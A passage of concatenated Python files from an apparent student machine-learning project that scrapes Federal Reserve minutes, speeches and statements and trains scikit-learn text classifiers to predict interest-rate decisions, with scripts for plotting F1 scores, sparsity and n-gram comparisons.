urllib.request.urlopen(urlCall) html = response.read() soup = BeautifulSoup(html,'html5lib')#.decode('utf-8','ignore') text2 = soup.get_text(strip = True) #Index to the start of the speech and end of the speech to exclude java script text text2= text2[text2.find("Please enable JavaScript if it is disabled in your browser or access the information through the links provided below"):] text2= text2[text2.find("Share")+5:] text2=text2[:text2.index("Last Update:")] text2 = re.sub(r'(?<=[a-z])(?=[A-Z])', ' ', text2) if text2.find("1.") != -1: text2=text2[:text2.find("1.")] text_file = open(os.getcwd()+"/speeches/"+date_matches_list[idex]+"_"+name_matches_list[idex].lower()+".txt","w") text_file.write(text2) text_file.close() print(idex) break except HTTPError as e: print('Error code: ', e.code) except URLError as e: print('Reason: ', e.reason) def main(): #Change relative directory os.chdir("..") os.chdir(os.path.abspath(os.curdir)+"/text") retrieveStatements() retrieveMinutes() retrieveOldWebsiteMinutes() retrieveSpeeches() ##Get Pre 2008 Minutes fomcDate = [] path = '../text/history/pre09MeetingList.csv' with open(path, 'r') as f: reader = csv.reader(f) fomcDate = list(reader) os.chdir("..") os.chdir(os.path.abspath(os.curdir)+"/text") pre08_MinutesScraper(fomcDate) if __name__ == '__main__': main() <file_sep>import os import sys import argparse import numpy as np import pandas as pd import datetime import bisect import re from clean import simple_clean from clean import complex_clean from sklearn.feature_extraction.text import CountVectorizer from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.metrics import accuracy_score from sklearn.svm import LinearSVC from sklearn.linear_model import LogisticRegression from sklearn.naive_bayes import MultinomialNB from sklearn.naive_bayes import BernoulliNB from sklearn.naive_bayes import GaussianNB from sklearn.naive_bayes import MultinomialNB import matplotlib.pyplot as plt import csv from modelutils import modelutils from sklearn.metrics import precision_recall_fscore_support import scipy # this version allows for multiple fit methods (SVM, Logistic, Logistic Lasso) # this method also computes the mean and std deviation of the accuracy by # this version also allows for ngrams # allows the text preprocessing algorithm to be selected # running each model Niter Times # python ./model2_0.py --ngram 1,1 2,2 3,3 1,3 2,3 --Niter 3 --pctTrain .8 --data minutes speeches statements def runModels(models, model_data_set, Nitr, pctTrain, ngram, tfid): results, prec,recall,f1, nonZeroC, trainPos, testPos=[],[],[],[], [], np.zeros(Nitr), np.zeros(Nitr) for iter in range(Nitr): train_data, test_data = modelutils.splitTrainTest(model_data_set, pctTrain) training_features, test_features = modelutils.getFeatures(train_data, test_data, ngram) norm = scipy.sparse.linalg.norm(training_features) norm_i = scipy.sparse.linalg.norm(training_features, ord=np.inf) (d1, NF) = training_features.get_shape() nz = training_features.count_nonzero() sz = d1*NF sparcity_score = nz/sz for i, m in enumerate(models): model=m[1] model.fit(training_features, train_data["ActionFlag"]) C = model.coef_ gtZ = len(C[np.abs(C[:]) > 1e-5]) y_pred = model.predict(test_features) acc = accuracy_score(test_data["ActionFlag"], y_pred) if iter == 0: results.append(np.zeros(Nitr)) prec.append(np.zeros(Nitr)) recall.append(np.zeros(Nitr)) f1.append(np.zeros(Nitr)) nonZeroC.append(np.zeros(Nitr)) results[i][iter]=acc prec_recall = precision_recall_fscore_support(test_data['ActionFlag'].tolist(), y_pred, average='binary') prec[i][iter] = prec_recall[0] recall[i][iter] = prec_recall[1] f1[i][iter] = prec_recall[2] nonZeroC[i][iter] = gtZ trainPos[iter] = train_data["ActionFlag"].sum()/ len(train_data) testPos[iter] = test_data["ActionFlag"].sum()/ len(test_data) return results, trainPos, testPos, prec, recall, f1, NF, norm, nz , sz, nonZeroC if __name__ == '__main__': parser = argparse.ArgumentParser(description='ML Project Spring 2019') parser.add_argument('--decision', default="../text/history/RatesDecision.csv") parser.add_argument('--minutes', default="../text/minutes") parser.add_argument('--speeches', default="../text/speeches") parser.add_argument('--statements', default="../text/statements") parser.add_argument('--pctTrain', default=0.75, type=float) parser.add_argument('--Niter', help="number of times to refit data", default=10, type=int) parser.add_argument('--cleanAlgo', default="complex") parser.add_argument('--ngram', nargs='+', default=['1,1']) parser.add_argument('--max_iter', help="max iterations for sklearn solver", default=25000, type=int) parser.add_argument('--solver', help="solver for sklearn algo", default='liblinear') parser.add_argument('--data', nargs="+", default=["minutes", "speeches", "statements"]) parser.add_argument('--stack', action='store_true', default=False) parser.add_argument('--slow', action='store_true', default=False) parser.add_argument('--tfid',action='store_true', default=False) parser.add_argument('--nb',action='store_true', default=False) parser.add_argument('-o','--output', default='../output/data_for_graphs/model2_anagrams.csv') args = parser.parse_args() clean_algo = complex_clean if args.cleanAlgo == "complex" else simple_clean pctTrain, cleanA, Niter, ngram = args.pctTrain, args.cleanAlgo, args.Niter, args.ngram solver, max_iter, datasetlist = args.solver, args.max_iter, args.data assert os.path.isdir(os.path.dirname(args.output)) if len(ngram[0].split(':')) > 1 : ngram = ngram[0] lb , ub = int(ngram.split(':')[0]), int(ngram.split(':')[1]) ngrams = [(i,i) for i in range(lb, ub+1)] else : ngrams = [(int(x.split(",")[0]),int(x.split(",")[1])) for x in ngram] assert len(datasetlist) > 0, "no data sets specified" datasetlabel=":".join(d for d in datasetlist) if args.stack == False and max_iter > 100 and args.slow == False: print("warning this is going to run very slowly, max_iter should be lowered below 100, run with --slow to override this warning") quit() # fed rate decison matrix df = modelutils.decisionDF(args.decision) # datsets data_set, N, start, end = [], 0, datetime.datetime.now(), datetime.datetime(1970, 1, 1) if "minutes" in datasetlist: data_set.append(modelutils.getMinutes(args.minutes, df, clean_algo)) (N, start, end) = modelutils.getBounds(data_set[-1]) if "speeches" in datasetlist: data_set.append(modelutils.getSpeeches(args.speeches, df, clean_algo)) (N1, start1, end1) = modelutils.getBounds(data_set[-1]) N , start, end = N + N1, min(start, start1), max(end, end1) if "statements" in datasetlist: data_set.append(modelutils.getStatements(args.statements, df, clean_algo)) (N1, start1, end1) = modelutils.getBounds(data_set[-1]) N , start, end = N + N1, min(start, start1), max(end, end1) assert N > 0, "no data in data_set" start, end = start.strftime("%m/%d/%Y"), end.strftime("%m/%d/%Y") if args.stack: data_set = modelutils.stackFeatures(data_set) N = len(data_set) stack="True" else: stack="Flase" tfid= args.tfid tfidstr= "False" if tfid == False else "True" if args.nb : models=[ ("MultiNB0.0",MultinomialNB(alpha=1e-4)), ("MultiNB0.5",MultinomialNB(alpha=0.5)), ("MultiNB1.0",MultinomialNB(alpha=1.0)), ("MultiNB2.0",MultinomialNB(alpha=2.0)), ("MultiNB15.0",MultinomialNB(alpha=15.0))] else: models=[ ("Logistic Lasso0.3",LogisticRegression(penalty='l1',solver=solver,max_iter=max_iter, C=0.3)), ("Logistic Lasso1.0",LogisticRegression(penalty='l1',solver=solver,max_iter=max_iter, C=1.0)), ("Logistic Lasso2.0",LogisticRegression(penalty='l1',solver=solver,max_iter=max_iter, C=2.0)), ("Logistic Lasso5.0",LogisticRegression(penalty='l1',solver=solver,max_iter=max_iter, C=5.0)), ("Logistic",LogisticRegression(solver=solver,max_iter=max_iter)) ] print("Determining Fed Action from minutes") print("%-20s %5s %5s %10s %10s %5s %8s %7s %10s %10s %-27s %6s %6s %6s %6s %6s %5s %5s %10s %8s %8s %8s %10s %6s %8s" % ("Model Name", "NGram", "Niter", "mean(acc)", "std(acc)","N","PctTrain", "clean", "start", "end", "Data Sets", "TrainP", "TestP", "Prec", "Recall", "F1", "Stack", "Tfid","NF", "Norm", "Ratio", "Sparcity", "Size", "NZMtx", "PctNZC")) outputDF = [] for ngram in ngrams: results, trainPos, testPos, prec, recall, f1, NF, norm, nz, sz, nonZeroC = runModels(models, data_set, Niter, pctTrain, ngram, tfid) sparcity = nz/sz ngramstr = str(ngram[0]) + ":" + str(ngram[1]) for m, r, t, u, v, coeff_nz in zip(models, results, prec, recall, f1, nonZeroC): name, mu, s, precMu, recallMu, f1Mu , normR, NonZeroCoeff = m[0], np.mean(r), np.std(r), np.mean(t), np.mean(u), np.mean(v), norm/NF, np.mean(coeff_nz)/NF print("%-20s %5s %5s %10.4f %10.4f %5d %8.3f %7s %10s %10s %-27s %6.3f %6.3f %6.3f %6.3f %6.3f %5s %5s %10.0f %8.0f %8.6f %8.6f %10.0f %6.0f %8.6f" % (name, ngramstr, Niter, mu, s, N, pctTrain, cleanA, start, end, datasetlabel, np.mean(trainPos), np.mean(testPos), precMu, recallMu, f1Mu, stack, tfidstr, NF, norm, normR, sparcity, sz, nz, NonZeroCoeff)) outputDF.append([name, ngramstr, Niter, mu, s, N, pctTrain, cleanA, start, end, datasetlabel, np.mean(trainPos), np.mean(testPos), precMu, recallMu, f1Mu, stack, tfidstr, NF, norm, normR, sparcity, sz, nz, NonZeroCoeff]) outputDF = pd.DataFrame(outputDF) print("writing to {}".format(args.output)) outputDF.to_csv(args.output, index=False, header=["Model Name", "NGram", "Niter", "mean(acc)", "std(acc)","N","PctTrain", "clean", "start", "end", "Data Sets", "TrainP", "TestP", "Prec", "Recall", "F1", "Stack", "Tfid", "NF", "norm", "normR", "sparcity", "sz", "nz", "NonZeroCoeff"]) <file_sep>import argparse import os import pandas as pd import matplotlib.pyplot as plt import datetime import numpy as np from matplotlib.dates import DateFormatter from sklearn.linear_model import LogisticRegression from sklearn.feature_extraction.text import CountVectorizer def GetDecisionDF(decisionFile): names = ["minutes_date","publish_date","before","after","decision","flag","change"] usecols = [0,1,2,3,4,5,6] dtypes={"minutes_date":'str',"publish_date":'str',"before":'float',"after":'float',"decision":'str',"flag":'float',"change":'float'} df = pd.read_csv(decisionFile, usecols=usecols, header=None, names=names, dtype=dtypes, sep=",") df['minutes_date'] = pd.to_datetime(df['minutes_date'],format="%Y%m%d") df['publish_date'] = pd.to_datetime(df['publish_date'],format="%Y%m%d") return df def PlotDecisionResponse(df): Fmt = DateFormatter("%Y") u = df[df['decision']=='raise'] d = df[df['decision']=='lower'] z = df[df['decision']=='unchg'] ux, uy = u["publish_date"].values, u['change'].values dx, dy = d["publish_date"].values, d['change'].values zx, zy = z["publish_date"].values, z['change'].values fig, ax = plt.subplots() ax.scatter(ux, uy, c='g', marker="^") ax.scatter(dx, dy, c='b', marker="x") ax.scatter(zx, zy, c='r', marker="v") ax.xaxis.set_major_formatter(Fmt) ax.set(title="Rate Decision Response") plt.show() def testSKLearn(docDir): def getDocuments(docDir): docs=os.listdir(docDir) return docs[0] def readText(fname): with open(fname) as reader: return reader.read() fn=getDocuments(args.minutesDir) text = readText(os.path.join(args.minutesDir, fn)) v = CountVectorizer() X = v.fit_transform([text]) print(v.get_feature_names()) print(X.toarray()) if __name__ == '__main__': parser = argparse.ArgumentParser(description='ML Spring 2019 Final Project') parser.add_argument('-i','--decisionFile', help='directory holding minutes dates', default="../text/history/RatesDecision.csv") parser.add_argument('-m','--minutesDir', default="../text/minutes") parser.add_argument('-p','--plot', action='store_true', default=False) args = parser.parse_args() df=GetDecisionDF(args.decisionFile) if args.plot: PlotDecisionResponse(df) <file_sep>import pandas as pd from sklearn.feature_extraction.text import CountVectorizer Doc1 = 'Wimbledon is one of the four Grand Slam tennis tournaments, the others being the Australian Open, the French Open and the US Open.' Doc2 = 'Since the Australian Open shifted to hardcourt in 1988, Wimbledon is the only major still played on grass' doc_set = [Doc1, Doc2] vectorizer = CountVectorizer(ngram_range=(2, 2)) term_count = vectorizer.transform(doc_set) print(vectorizer.get_feature_names()) x=vectorizer.fit_transform(doc_set) df = pd.DataFrame(x.toarray(), columns = vectorizer.get_feature_names()) print(df) <file_sep>import numpy as np from sklearn.feature_extraction.text import CountVectorizer from nltk import FreqDist import nltk import sys """ to install nltk stuff python - great a pyton repl >>> import nltk >>> nltk.download() """ def sampleCount(): texts = ['hi there', 'hello there', 'hello here you are'] vectorizer = CountVectorizer() X = vectorizer.fit_transform(texts) freq = np.ravel(X.sum(axis=0)) freq.plot() print(freq) def sampleFreqDist(texts): #texts = 'hi there hello there' words = nltk.tokenize.word_tokenize(texts) fdist = FreqDist(words) fdist.plot(30) def getData(fname): with open(fname) as f: text = f.read() return text.replace("\n", " " ) def main(): fname = sys.argv[1] texts = getData(fname) sampleFreqDist(texts) if __name__ == '__main__': main() <file_sep>import pandas as pd import numpy as np import matplotlib.pyplot as plt import sys import argparse def save(d1, fname): d1.to_csv(fname, index=False) def colC(d1): if "C" in d1.columns : return names = d1["Model Name"].values nv = [] for s in names: if "Lasso" in s: v = float(s.split("Lasso")[-1]) if len(s.split("Lasso")) > 1 else 0 if v != 0 : v = 1/v else: v = float(s.split("MultiNB")[-1]) if len(s.split("MultiNB")) > 1 else 0 nv.append(v) d1["C"] = nv # # for the different regularization parameters, get # the mean F1 values and regularization strength # def ParameterImpact(d1): # For all of the runs # Group By Model Name - ModelName # Logistic Lasso + <Regularization Parameter> # For Logistic Lasso the Inverse Regularization Parameter is 'C' in sklearn # Naive Bayes model names are MultiNB+<smoothing parameter> # For Naive Bayse the Laplace Smoothing Parameter is alpha in sklearn g=d1.groupby(['Model Name']).agg({ 'Model Name': [lambda x : ' '.join(x)], 'C' :['mean'], 'F1':['mean','min','max']}) nameV = g['Model Name']['<lambda>'].values f1MeanV = g['F1']['mean'].values f1MinV = g['F1']['min'].values f1MaxV = g['F1']['max'].values CV = g['C']['mean'].values namveV =[s.split(" ")[-1] for s in nameV] combo=sorted([(name, ci, f1mean, f1min, f1max, ci) for name, ci, f1mean, f1min, f1max in zip(nameV, CV, f1MeanV, f1MinV, f1MaxV)], key=lambda x : x[1], reverse=False) N = len(combo) model = [None]* N param, f1Mean, f1Min, f1Max = np.zeros(N), np.zeros(N), np.zeros(N), np.zeros(N) # for i, c in enumerate(combo): model = c[0] param[i] = c[1] f1Mean[i] = c[2] f1Min[i] = c[3] f1Max[i] = c[4] return model, param, f1Mean, f1Min, f1Max def showOrSave(output=None): if output is not None: #plt.savefig("{}.pdf".format(output), bbox_inches='tight') #plt.savefig("{}.jpg".format(output), bbox_inches='tight', rasterized=True, dpi=80) plt.savefig("{}.pdf".format(output), bbox_inches='tight', rasterized=True, dpi=50) else: plt.show() # # Plot impact of regularization parameter on predicted F1 Score # def PlotL1(f1, output=None, showMinMax=False): d1 = pd.read_csv(f1) colC(d1) dns = d1[d1["Stack"] == False] modelns, xns, yns, yns_min, yns_max = ParameterImpact(dns) ds = d1[d1["Stack"] == True] models, xs, ys, ys_min, ys_max = ParameterImpact(ds) plt.title('Logistic Lasso Regularization') plt.xlabel('L1 Regularization(larger more regularization)') plt.ylabel('F1 Score') plt.plot(xns[1:],yns[1:], marker='o', label='unstacked-mean F1 score') plt.plot(xs[1:],ys[1:], marker='o', label='stacked-mean F1 score') if showMinMax : plt.plot(xns[1:],yns_max[1:], marker='o', label='unstacked-max F1') plt.plot(xns[1:],yns_min[1:], marker='o', label='unstacked-min F1') plt.plot(xs[1:],ys_min[1:], marker='o', label='stacked-min F1') plt.plot(xs[1:],ys_max[1:], marker='o', label='stacked-max F1') plt.legend() showOrSave(output) # # Plot the Number of Elements in the Matricies for different NGrams with # Stacking and UnStacking Documents # def matrixSize(f1, output=None, f2=None): d1 = pd.read_csv(f1) if f2 is not None: d2 = pd.read_csv(f2) d1 = d1.append(d2) ng = sorted(d1["NGram"].unique(), key = lambda x : int(x.split(':')[0])*10 + int(x.split(':')[1])) ds = d1[d1["Stack"] == True] dns = d1[d1["Stack"] == False] label, nf_ns, nf_s = [], [], [] skip = ['8:8', '12:12', '15:15'] # remove a couple of ngrams ot make it fit nicely on x axis for i in range(len(ng)): dxs = ds[ds['NGram'] == ng[i]] dxns = dns[dns['NGram'] == ng[i]] if len(dxs) == 0 or len(dxns) == 0: continue if ng[i] in skip : continue label.append(ng[i]) nf_ns.append(dxns.sz.mean()/1e9) nf_s.append(dxs.sz.mean()/1e9) ind = np.arange(len(label)) width = 0.15 plt.title('Feature Matrix Sizes') plt.bar(ind-width/2,nf_s, width, label='stacked') plt.bar(ind+width/2,nf_ns, width, label='unstacked') plt.xticks(ind+width, label) plt.xlabel("ngrams") plt.ylabel("matrix elements (billions)") plt.legend() showOrSave(output) # # Plot the Number of Elements in the Matricies for different NGrams with # Stacking and UnStacking Documents # def matrixSparse(f1, output=None, f2=None): d1 = pd.read_csv(f1) if f2 is not None: d2 = pd.read_csv(f2) d1 = d1.append(d2) sparse_min = d1.sparcity.min() ng = sorted(d1["NGram"].unique(), key = lambda x : int(x.split(':')[0])*10 + int(x.split(':')[1])) ds = d1[d1["Stack"] == True] dns = d1[d1["Stack"] == False] label, nf_ns, nf_s = [], [], [] skip = ['8:8', '12:12', '15:15'] # remove a couple of ngrams ot make it fit nicely on x axis skip = [] for i in range(len(ng)): dxs = ds[ds['NGram'] == ng[i]] dxns = dns[dns['NGram'] == ng[i]] if len(dxs) == 0 or len(dxns) == 0: continue if ng[i] in skip : continue label.append(ng[i]) nf_ns.append(dxns.sparcity.mean()) nf_s.append(dxs.sparcity.mean()) ind = np.arange(len(label)) width = 0.15 plt.title('NGram Sparsity') plt.bar(ind-width/2,nf_s, width, label='stacked') plt.bar(ind+width/2,nf_ns, width, label='unstacked') plt.xticks(ind+width, label) plt.xlabel("ngrams") plt.ylabel("matrix sparcity") plt.legend() showOrSave(output) def sparse(f1, output=None, f2=None): d1 = pd.read_csv(f1) ds = d1[d1["Stack"] == True] nfs = ds["NF"].values/1e6 svs = ds["sparcity"].values f1s = ds["F1"].values #plt.scatter(sv, f1) plt.scatter(nfs, svs, marker='o', label='stacked') dns = d1[d1["Stack"] == False] dns = dns[dns["NGram"] != "1:1"] nfns = dns["NF"].values/1e6 svns = dns["sparcity"].values f1ns = dns["F1"].values mx = dns["sparcity"].max() plt.scatter(nfns, svns, marker='x', label='unstacked') plt.legend() plt.title('Number of Features and Matrix Sparcity') plt.xlabel('Number of Features (Millions)') plt.ylabel('Matrix Sparcity') showOrSave(output) def naiveBayesSmoothing(f1, output=None): d1 = pd.read_csv(f1) spliton="MultiNB" d1["C"] = [float(s.split(spliton)[-1]) if len(s.split(spliton)) > 1 else 0 for s in d1["Model Name"].values] model, x, y, ymin, ymax= ParameterImpact(d1) plt.plot(x,y, marker='o', label='mean f1') plt.plot(x,ymax, marker='o', label='max f1') plt.plot(x,ymin, marker='o', label='min f1') plt.xlabel('Laplace Smoothing Parameter') plt.ylabel('F1 score') plt.title('Naive Bayes Smothing Parameter') plt.legend() showOrSave(output) def performanceMatrixSize(f1, output=None, f2=None, limit=0.01): limit = 0.01 if limit is None else limit d1 = pd.read_csv(f1) if f2 is not None: d2 = pd.read_csv(f2) d1 = d1.append(d2) #d1 = d1[d1["Stack"] == False] show=["MultiNB0.0", "Logistic", "Logistic Lasso5.0"] models = d1["Model Name"].unique() for model in models : if not model in show: continue dm = d1[d1["Model Name"] == model] f1, sz = dm.F1.values, dm.sz.values/1e9 combo = sorted([(sz[i], f1[i]) for i in range(len(f1))], key = lambda x : x[0]) x = [c[0] for c in combo if c[0] > limit] y = [c[1] for c in combo if c[0] > limit] plt.plot(x,y, marker='o', label=model) plt.legend() plt.title("Matrix Size vs F1") plt.xlabel("Matrix Size Billions") plt.ylabel("F1 Score") showOrSave(output) def performanceSparsity(f1, output=None, f2=None, limit=1.0): limit = 1.00 if limit is None else limit d1 = pd.read_csv(f1) if f2 is not None: d2 = pd.read_csv(f2) d1 = d1.append(d2) d1 = d1[d1["Stack"] == False] #show=["MultiNB0.0", "Logistic", "Logistic Lasso5.0" , "Logistic Lasso0.0", "Logistic Lasso500.0"] show=["MultiNB0.0","MultiNB1.0", "Logistic Lasso0.0", "Logistic Lasso500.0", "Logistic Lasso0.3"] label=["Multinomial NB s=0.0","Multinomial NB s=1.0", "Logistic", "Logistic Lasso r=0.002", "Logistic Lasso r=30.0"] #show=["MultiNB0.0", "Logistic Lasso0.0", "Logistic Lasso500.0"] #label=["Multinomial NB s=0.0","Logistic", "Logistic Lasso r=0.002"] models = d1["Model Name"].unique() for model in models : if not model in show: continue dm = d1[d1["Model Name"] == model] f1, sz = dm.F1.values, dm.sparcity.values combo = sorted([(sz[i], f1[i]) for i in range(len(f1))], key = lambda x : x[0]) x = [c[0] for c in combo if c[0] < limit] y = [c[1] for c in combo if c[0] < limit] if len(x) == 0 : continue ix = show.index(model) plt.plot(x,y, marker='o', label=label[ix]) plt.legend() plt.title("Matrix Sparsity vs F1") plt.xlabel("Matrix Sparsity") plt.ylabel("F1 Score") showOrSave(output) def modelRanking(f1, output=None, f2=None): d1 = pd.read_csv(f1) if f2 is not None: d2 = pd.read_csv(f2) d1 = d1.append(d2) ngram = d1["NGram"].unique() combo = [] exclude = ["6:6", "8:8", "10:10", "12:12", "20:20", "4:6", "10:15", "15:15"] exclude = [] for n in ngram: if n in exclude: continue dn = d1[d1["NGram"] == n] ds = dn[dn["Stack"] == True] dns = dn[dn["Stack"] == False] combo.append((n, dns.F1.max(), ds.F1.max())) combo = sorted(combo, key = lambda x : max(x[1],x[2])) label = [c[0] for c in combo] vns = [c[1] for c in combo] vs = [c[2] for c in combo] width = 0.15 ind = np.arange(len(label)) plt.bar(ind-width/2, vs, width, label="F1-stacked") plt.bar(ind+width/2, vns, width, label="F1-not-stacked") plt.xticks(ind-width, label) plt.xlabel("NGram") plt.ylabel("F1 Score") plt.title("NGram Model Performance") plt.legend() showOrSave(output) def createTable(f1, output=None, f2=None): d1 = pd.read_csv(f1) if f2 is not None: d2 = pd.read_csv(f2) d1 = d1.append(d2) ng = sorted(d1["NGram"].unique(), key = lambda x : int(x.split(':')[0])*10 + int(x.split(':')[1])) ds = d1[d1["Stack"] == True] dns = d1[d1["Stack"] == False] for i in range(len(ng)): dxs = ds[ds['NGram'] == ng[i]] dxns = dns[dns['NGram'] == ng[i]] if len(dxs) == 0 and len(dxns) == 0: continue if len(dxs) == 0 : dxs = dxns elif len(dxns) == 0 : dxns = dxs bestS = dxs[dxs["F1"] == dxs.F1.max()].iloc[0]["Model Name"] bestNS = dxns[dxns["F1"] == dxns.F1.max()].iloc[0]["Model Name"] worstS = dxs[dxs["F1"] == dxs.F1.min()].iloc[0]["Model Name"] worstNS = dxns[dxns["F1"] == dxns.F1.min()].iloc[0]["Model Name"] if i == 0: print("%10s, %10s, %10s, %7s, %7s, %10s, %10s, %7s, %7s, %6s, %6s, %6s, %6s, %s, %s, %s, %s" % ("N-Gram","Sparse(US)","Sparse(S)","NF(US)","NF(S)","SZ(US)","SZ(S)","NZ","NZ","F1","F1","F1max","F1max","bestNS","bestS","worstNS","worstS")) print("%10s, %10.8f, %10.8f, %7.4f, %7.4f, %10.6f, %10.6f, %7.0f, %7.0f, %6.4f, %6.4f, %6.4f, %6.4f, %s, %s, %s, %s" % (ng[i], dxns.sparcity.mean(), dxs.sparcity.mean(), dxns.NF.mean()/1e6, dxs.NF.mean()/1e6, dxns.sz.mean()/1e9, dxs.sz.mean()/1e9, dxns.nz.mean(), dxs.nz.mean(), dxns.F1.mean(), dxs.F1.mean(),dxns.F1.max(), dxs.F1.max(), bestNS, bestS, worstNS, worstS)) def table2(f1, output=None, f2=None): d1 = pd.read_csv(f1) if f2 is not None: d2 = pd.read_csv(f2) d1 = d1.append(d2) ng = sorted(d1["NGram"].unique(), key = lambda x : int(x.split(':')[0])*10 + int(x.split(':')[1])) ds = d1[d1["Stack"] == True] dns = d1[d1["Stack"] == False] keep = ["10:15"] for i in range(len(ng)): if not ng[i] in keep: continue dxs = ds[ds['NGram'] == ng[i]] dxns = dns[dns['NGram'] == ng[i]] if len(dxs) == 0 and len(dxns) == 0: continue if len(dxs) == 0 : dxs = dxns elif len(dxns) == 0 : dxns = dxs for j in range(len(dxns)): reg = float(dxns.iloc[j]["Model Name"].split("Logistic Lasso")[-1]) reg = 1/reg if reg > 0 else 0 print("%s & %6.3f & %5.3f & %8.6f & %5.3f & %8.6f \\\\" % (ng[i], reg, dxns.iloc[j].F1, min(dxns.iloc[j].NonZeroCoeff, 1.0), dxs.iloc[j].F1, min(dxs.iloc[j].NonZeroCoeff, 1.0))) def table3(f1, output=None, f2=None, limit=None, ngramON=True, plot=True): # python ./analysis.py -i ../output/sparse.csv -r table3 -o ngramlen_nb_ll limit = limit if limit is not None else 1e12 d1 = pd.read_csv(f1) if f2 is not None: d2 = pd.read_csv(f2) d1 = d1.append(d2) d1 = d1[d1["Stack"] == False] colC(d1) models = d1["Model Name"].unique() keep = ["Logistic Lasso500.0","Logistic Lasso1.0","MultiNB0.0"] keep = ["Logistic Lasso1.0","MultiNB0.0"] dm = pd.concat([d1[d1["Model Name"] == m] for m in keep]) ngram = dm[dm["Model Name"] == "MultiNB0.0"].NGram.unique() scores = [] for n in ngram: dn = dm[dm["NGram"] == n] if len(dn) != 3 : continue fv = [dn[dn["Model Name"] == model].iloc[0].F1 for model in keep] fv.append(dn[dn["Model Name"] == keep[-1]].iloc[0].sparcity) fv.append(int(n.split(':')[-1])) scores.append(fv) scores = sorted(scores , key = lambda x : x[-2], reverse=False) for s in scores: sp = s[-2] if sp > limit : break print ("%3d& %8.6f & %5.3f & %5.3f & %5.3f\\\\" % ( s[-1], s[-2], s[2], s[0], s[1])) if not plot : return for m in models: if not m in keep : continue dm = d1[d1["Model Name"] == m] f1, sz, ng = dm.F1.values, dm.sparcity.values, dm.NGram.values ngv = [int(n.split(':')[1]) for n in ng] if ngramON: combo = sorted([(ngv[i], f1[i]) for i in range(len(f1))], key = lambda x : x[0]) else: combo = sorted([(sz[i], f1[i]) for i in range(len(f1))], key = lambda x : x[0]) x = [c[0] for c in combo if c[0] < limit] y = [c[1] for c in combo if c[0] < limit] for i in range(len(x)): print("%s & %8.5f & %5.3f \\" % (m, x[i], y[i])) if len(x) == 0 : continue plt.plot(x,y, marker='o', label=m) if ngramON: plt.xlabel("N-Gram Length") else: plt.xlabel("Sparcity") plt.ylabel("F1 Score") plt.title("Unstacked comparison of NB and LL") #plt.title("Sparcity vs F1 Score") plt.legend() showOrSave(output) def table4(f1, output=None, f2=None, limit=None, ngramON=True, plot=True): limit = limit if limit is not None else 1e12 d1 = pd.read_csv(f1) if f2 is not None: d2 = pd.read_csv(f2) d1 = d1.append(d2) d1 = d1[d1["Stack"] == True] keep = ["Logistic Lasso1.0","Logistic Lasso50.0","Logistic Lasso500.0","MultiNB0.0"] modelLabel = ["LL a=1.0","LL a=0.02","LL a=0.002","Naive Bayes"] skip = ["5:5","6:6","8:8","10:10","12:12"] for ix,model in enumerate(keep): dm = d1[d1["Model Name"] == model] if len(dm) == 0 : continue ng = dm.NGram.values f1 = dm.F1.values data = sorted([(ng[i], f1[i]) for i in range(len(ng)) if ng[i] not in skip], key = lambda x : 10*int(x[0].split(':')[0])+int(x[0].split(':')[-1])) x = np.arange(len(data)) xl = [d[0] for d in data] y = [d[1] for d in data] plt.plot(x, y, label=modelLabel[ix]) plt.xticks(x, xl) plt.xlabel("N-gram sequence") plt.ylabel("F1 Score") plt.title("Impact of F1 on various N-gram sequences") plt.legend() showOrSave(output) if __name__ == '__main__': # to get bar graph of matrix sizes # python ./analysis.py -i ../analysis/all_lasso.csv -r size -o [to save to file] # # to get bar graph of matrix sizes # python ./analysis.py -i ../analysis/all_lasso.csv -r size # # to get graph of features vs sparsity # python ./analysis.py -i ../analysis/all_lasso.csv -r sparse # # to get graph of impact of Smoothing Parmeter on Naive Bayes Models # python analysis.py -i ../analysis/naive.csv -r smooth # Size vs F1 #python analysis.py -i ../analysis/all_lasso.csv ../analysis/naive.csv -r psize -l 1.1 -o SizeVF1 # Sparsity vs F1 #python analysis.py -i ../analysis/all_lasso.csv ../analysis/naive.csv -r psparse -l 0.0025 -o SparsityVF1 # Model Ranking #python analysis.py -i ../analysis/all_lasso.csv ../analysis/naive.csv -r rank -o ModelRanking parser = argparse.ArgumentParser(description='ML Spring 2019') parser.add_argument('-i','--input', nargs='+', default=None) parser.add_argument('-o','--output', default=None) parser.add_argument('-l','--limit', default=None, type=float) parser.add_argument('-r','--run', help='l1 , size, sparse, smooth, psize, psparse', default='l1') args = parser.parse_args() f1 = args.input[0] f2 = args.input[1] if len(args.input) >1 else None if args.run == 'l1': PlotL1(f1, args.output) elif args.run == 'size': matrixSize(f1, args.output, f2) elif args.run == 'nsparse': matrixSparse(f1, args.output, f2) elif args.run == 'sparse': sparse(f1, args.output) elif args.run == 'smooth': naiveBayesSmoothing(f1, args.output) elif args.run == 'psize': performanceMatrixSize(f1, args.output, f2, args.limit) elif args.run == 'psparse': performanceSparsity(f1, args.output, f2, args.limit) elif args.run == 'rank': modelRanking(f1, args.output, f2) elif args.run == 'table': createTable(f1, args.output, f2) elif args.run == 'table2': table2(f1, args.output, f2) elif args.run == 'table3': table3(f1, args.output, f2, args.limit) elif args.run == 'table4': table4(f1, args.output, f2, args.limit) <file_sep>import matplotlib.pyplot as plt import pandas as pd import numpy as np import argparse """ Compare Plot fits accuracy, precision, recall and f1 vs ngram length """ def fitScore(df, fit, output): ll = df[df["Model Name"] == fit] x = ll.NGramInt f1 = ll.F1 recall = ll.Recall precision = ll.Prec acc = ll["mean(acc)"].values plt.title("{} vs NGram Length".format(fit)) plt.plot(x, f1, label='F1') plt.plot(x, recall, label='Recall') plt.plot(x, precision, label='Precision') plt.plot(x, acc, label='Accuracy') plt.xlabel('NGram Length') plt.ylabel('Pct') plt.legend() if output is not None: plt.savefig("{}.pdf".format(output), bbox_inches='tight') else: plt.show() """ Compare F1 Scores of the Fits vs NGram Length """ def compareFits(df, fits, output, range): range = int(range) if range is not None else len(df) for f in fits: ll = df[df["Model Name"] == f] ll = ll[ll["NGramInt"] <= range] x = ll.NGramInt f1 = ll.F1 plt.plot(x, f1, marker='o', label='{} F1'.format(f)) plt.title('F1 Scores: ' + ','.join(f for f in fits)) plt.xlabel('NGram Length') plt.ylabel('Pct') plt.legend() if output is not None: plt.savefig("{}.pdf".format(output), bbox_inches='tight') else: plt.show() if __name__ == '__main__': parser = argparse.ArgumentParser(description='ML Spring 2019') parser.add_argument('-i','--input', default=None) parser.add_argument('-o','--output', default=None) parser.add_argument('-r','--range', default=None) 